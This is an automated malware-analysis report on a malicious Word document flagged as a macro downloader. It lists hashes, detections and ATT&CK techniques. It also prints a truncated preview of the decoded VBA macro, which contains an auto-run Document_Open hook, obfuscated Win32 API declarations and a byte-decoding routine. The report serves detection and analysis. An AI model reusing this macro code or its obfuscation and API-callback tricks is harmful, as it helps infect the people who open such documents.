Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c0977a94cb5fc840…

MALICIOUS

Office (OLE)

180.5 KB Created: 2018-02-27 11:01:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 5da42f6c412b9532f4a18d3c748ab483 SHA-1: 10a415231a2f35db54bf98fbfe6bcd1100895d95 SHA-256: c0977a94cb5fc840fb400d40f05321b755719af7ba7a7840b5e270beba9eec21
122 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as malicious by ClamAV with the signature Doc.Downloader.Macro-6539595-0, indicating it's a macro-based downloader. The presence of a Document_Open macro and embedded VBA code strongly suggests that the file is designed to execute malicious actions immediately upon opening. The VBA code, while obfuscated, includes declarations for functions that could be used to interact with the system, supporting the downloader hypothesis.

Heuristics 4

  • ClamAV: Doc.Downloader.Macro-6539595-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Macro-6539595-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 46125 bytes
SHA-256: e43f2a006ae008ddc7ee17f8abb8154b13e27fb238332b86f31f02ec86ced647
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True



Private Sub Document_Open()
odi
metaphorically = 14 + 27
Pmt 0, metaphorically, 28046, 35052, 4
End Sub



Attribute VB_Name = "meteorologic"
Attribute VB_Base = "0{54A08F3B-F1B2-4137-A0D8-D3C6DAD5BD79}{C5427CAA-5266-4380-A8DD-6FDCDC7430D9}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


Attribute VB_Name = "lithographer"
#If (92 - 114 + 422 + 40 - 62 + 322) > ((95 - 31 + 256) - (80 - 33 + 493) * 1) And ((1 - 38 + 65) - (71 - 7 - 36)) * 2 < (Win64) Then
Public Declare PtrSafe Function badtempered _
Lib "ntdll   " Alias _
"AcquireSRWLockShared" (unshifting As Any) As LongPtr
Public Declare PtrSafe Function collied _
Lib "Kernel32" Alias _
"CreateTimerQueueTimer" (needlework As Any, ByVal napoleonic As Any, ByVal asphyxiate As Any, ByVal anurous As Any, ByVal tellus As Any, ByVal monasticism As Any, ByVal alchemic As Any) As Long
#End If
#If (47 - 1 + 354 + 92 - 128 + 336) > ((69 - 97 + 348) - (63 - 116 + 593) * 1) And Not ((46 - 57 + 39) - (123 - 102 + 7)) * 2 < (Win64) Then
Public Declare Function valorous _
Lib "Ntdll    " Alias _
"AcquireSRWLockShared" (legitimately As Any) As Long
Public Declare Function collied _
Lib "Kernel32" Alias _
"CreateTimerQueueTimer" (louse As Any, ByVal disembarrassed As Any, ByVal cenozoic As Any, ByVal anthracitic As Any, ByVal lungfish As Any, ByVal keeneyed As Any, ByVal boehmenism As Any) As Long
#End If
Function cropout(benediction) As String
noctivagous = bragi
Dim anseriformes(63) As Long
Dim shigellosis(6962) As Byte
Dim undependability As Integer
Dim gelatinous(63) As Long
Dim prosaic As Long
Dim expunction As Long
Dim fighting() As Byte
Dim performer(63) As Long
Dim chauvinism As String
Dim rovescio As Long
Dim antisemitic As Long
attest = 17 - 47 + 262174
sgosiller = 88 - 110 + 16515094
cecal = 64 - 87 + 87
ennoblement = 4 - 98 + 349
Dim pew As String
Dim reflex As Long
auger = 47 - 11 + 27
forth = 73 - 94 + 277
orthographic = 63 - 17 + 65234
grenadine = 128 - 68 + 257988
saprophagous = 98 - 58 + 65496
quarantine = 20 - 82 + 4094
metier = 20 - 83 + 16711743
Dim reducible As Long
copyright = 32 - 78 + 4142
Dim austerlitz As Variant
uncensured = 17 - 61 + 7887
Dim concatenation() As Byte
concatenation = VBA.StrConv(benediction, 120 + 8)
cipher = 40 + 49
Pmt 0, cipher, 5455, 15430, 8
impercipient = 7843
unperplexed = vbKeyShift - 12
For hempen = 0 To impercipient
If hempen Mod 2 = 0 Then
concatenation(hempen) = concatenation(hempen) - unperplexed
Else
concatenation(hempen) = concatenation(hempen) - (unperplexed - 1)
End If
Next hempen
gymnastics = 12 + 40
Pmt 0, gymnastics, 23308, 25596, 2
undependability = 0
crankshaft = collimator
For rovescio = (16 - 8 * 2) * 1 To (80 / 2 + 23) * (7 - 6)
anseriformes(rovescio) = bloodleaf(rovescio, cecal, 43)
gelatinous(rovescio) = bloodleaf(rovescio, copyright, 43)
performer(rovescio) = bloodleaf(rovescio, attest, 43)
Next rovescio
muscidae = 34 + 44
Pmt 0, muscidae, 2773, 17997, 2
fighting = concatenation
balbucinate = 11 - 54 + 47
cgs = 54 + 21
Pmt 0, cgs, 27288, 27250, 6
astrometry = 28 - 91 + 66
bragi = "recourse"
ebriety = Fix(399)
hatted = astrometry + 1
deliberando = 71 - 35 - 34
For prosaic = 0 To impercipient
arrowroot = fighting(prosaic)
dybbuk = fighting(prosaic + 2)
dignities = gelatinous(crankshaft(fighting(prosaic + 1)))
gangway = anseriformes(crankshaft(dybbuk)) + crankshaft(fighting(prosaic + astrometry))
expunction = performer(crankshaft(arrowroot)) + dignities + gangway
rovescio = bloodleaf(expunction, metier, 35)
shigellosis(antisemitic) = bloodleaf(rovescio, saprophagous, 25)
rovesci
... (truncated)